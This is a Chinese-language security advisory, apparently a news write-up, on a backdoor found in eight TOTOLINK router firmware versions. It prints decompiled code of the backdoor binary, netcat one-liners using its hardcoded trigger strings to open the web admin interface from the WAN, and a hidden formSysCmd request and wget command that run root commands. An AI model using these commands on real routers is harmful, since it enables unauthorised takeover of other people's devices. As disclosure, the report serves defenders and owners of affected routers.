占據(jù)韓國(guó)80%市場(chǎng)的TOTOLINK路由器被曝存后門
TOTOLINK路由器在韓國(guó)市場(chǎng)占有率達(dá)82.3%。由深圳眾唐科技公司負(fù)責(zé)產(chǎn)品的研發(fā)、制造。
漏洞簡(jiǎn)述
通過(guò)分析最近一次的固件以及在真實(shí)路由器上進(jìn)行測(cè)試后,研究人員發(fā)現(xiàn)8款TOTOLink產(chǎn)品中存在后門。
注:固件來(lái)自totolink.net以及totolink.cn
A850R-V1 : 最新固件 TOTOLINK-A850R-V1.0.1-B20150707.1612.web
F1-V2 : 最新固件 F1-V2.1.1-B20150708.1646.web
F2-V1 : 最新固件 F2-V2.1.0-B20150320.1611.web
N150RT-V2 : 最新固件 TOTOLINK-N150RT-V2.1.1-B20150708.1548.web
N151RT-V2 : 最新固件 TOTOLINK-N151RT-V2.1.1-B20150708.1559.web
N300RH-V2 : 最新固件 TOTOLINK-N300RH-V2.0.1-B20150708.1625.web
N300RH-V3 : 最新固件 TOTOLINK-N300RH-V3.0.0-B20150331.0858.web
N300RT-V2 : 最新固件 TOTOLINK-N300RT-V2.1.1-B20150708.1613.web
通過(guò)向WAN IP發(fā)送一個(gè)精心構(gòu)造的請(qǐng)求,攻擊者可以在網(wǎng)上打開(kāi)HTTP遠(yuǎn)程管理界面。接著攻擊者在HTTP原創(chuàng)管理界面中通過(guò)hidden/boafrm/formSysCmd形式使用遠(yuǎn)程代碼執(zhí)行,進(jìn)而繞過(guò)認(rèn)證系統(tǒng)。
初步估計(jì)大約有5萬(wàn)路由器受到后門影響。
后門細(xì)節(jié)
當(dāng)路由器啟動(dòng)后會(huì)int.d腳本會(huì)執(zhí)行/bin/skt文件
cat etc/init.d/rcS [...] # start web server boa skt&
skt是一個(gè)MIPS架構(gòu)文件,其參數(shù):
server: ./skt client: ./skt host cmd
使用模擬器,該二進(jìn)制文件可以兼容 x86_64機(jī)器: sudo chroot . ./qemu-mips-static ./bin/skt
單獨(dú)使用skt不帶任何參數(shù),將會(huì)啟用一個(gè)端口為5555的TCP保護(hù)程序,擔(dān)當(dāng)回顯服務(wù)器的角色。使用帶參數(shù)的skt將通過(guò)5555端口向目標(biāo)IP發(fā)送一個(gè)包含命令的TCP包。
skt的主要功能:
TcpClient是一個(gè)簡(jiǎn)單的TCP客戶端
TcpServer就像一個(gè)回顯服務(wù)器
TcpClient:將發(fā)送一個(gè)包含hel,xasf, oki,xasf 或者 bye,xasf的TCP包,這取決于使用的參數(shù)(1,2,3)
TcpServer:用來(lái)監(jiān)聽(tīng)tcp/5555的回顯服務(wù)器并比較用戶提供的硬編碼字符串("hel,xasf", "oki,xasf").
sub_400B50函數(shù):
sub_400B50函數(shù)的偽代碼:
int32_t sub_400B50(int32_t a1, char *str, int32_t a3, int32_t a4, int32_t a5) { if (strcmp(str, "hel,xasf") == 0) { system("iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT"); } else { if (strcmp(str, "oki,xasf") == 0) { system("iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT"); } } [...] }
該函數(shù)比較用戶指定的字符串,2個(gè)硬編碼字符串執(zhí)行system()。
分析運(yùn)行在TOTOLINK設(shè)備上的二進(jìn)制文件,顯示服務(wù)器通過(guò)靜默執(zhí)行system()響應(yīng)命令
1.通過(guò)將 "hel,xasf"發(fā)送給設(shè)備,設(shè)備將執(zhí)行:
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
這將在eth1接口(默認(rèn)的WAN接口)80端口打開(kāi)HTTP遠(yuǎn)程管理界面
2.通過(guò)將"oki,xasf"發(fā)送給設(shè)備,設(shè)備將執(zhí)行:
iptables -D INPUT -p tcp –dport 80 -i eth1 -j ACCEPT
這是關(guān)閉HTTP原創(chuàng)管理界面
3.通過(guò)發(fā)送"bye,xasf"給設(shè)備,設(shè)備什么都不會(huì)做。
后門中的iptables命令都是"eth1"的硬編碼,只有使用DHCP以及靜態(tài)IP連接的設(shè)備才會(huì)受到影響,因?yàn)閃AN IP依賴于eth1設(shè)備,而對(duì)于PPPoE連接沒(méi)有任何影響
totolink# ifconfig ppp0 Link encap:Point-to-Point Protocol inet addr:X.X.X.X P-t-P:X.X.X.X Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1438 Metric:1 RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0 TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:64 RX bytes:2803138455 (2.6 GiB) TX bytes:277402492 (264.5 MiB)
攻擊者可以使用簡(jiǎn)單的netcat命令來(lái)測(cè)試后門:
1.打開(kāi)HTTP遠(yuǎn)程管理界面
echo -ne "hel,xasf" | nc <ip> 5555
2.關(guān)閉HTTP遠(yuǎn)程管理界面
echo -ne "oki,xasf" | nc <ip> 5555
3.檢測(cè)含漏洞路由器
echo -ne "GET / HTTP/1.1" | nc <ip> 5555 if you see "GET / HTTP/1.1" in the answer, you likely detected a vulnerable router.
通過(guò)后門打開(kāi)HTTP遠(yuǎn)程管理界面:
路由器管理頁(yè)面中的遠(yuǎn)程命令執(zhí)行漏洞
在最新固件中一個(gè)隱藏窗口允許攻擊者以root權(quán)限執(zhí)行命令:
POST /boafrm/formSysCmd HTTP/1.1 sysCmd=<cmd>&apply=Apply&msg=
攻擊者可以使用wget在遠(yuǎn)程設(shè)備中執(zhí)行命令:
wget --post-data='sysCmd=<cmd>&apply=Apply&msg=' http://ip//boafrm/formSysCmd
例如,向管理界面發(fā)送該HTTP請(qǐng)求,可以遠(yuǎn)程重啟設(shè)備:
POST /boafrm/formSysCmd HTTP/1.1 sysCmd=reboot&apply=Apply&msg=
下面的wget命令和上面的命令類似:
wget --post-data='sysCmd=reboot&apply=Apply&msg=' http://ip//boafrm/formSysCmd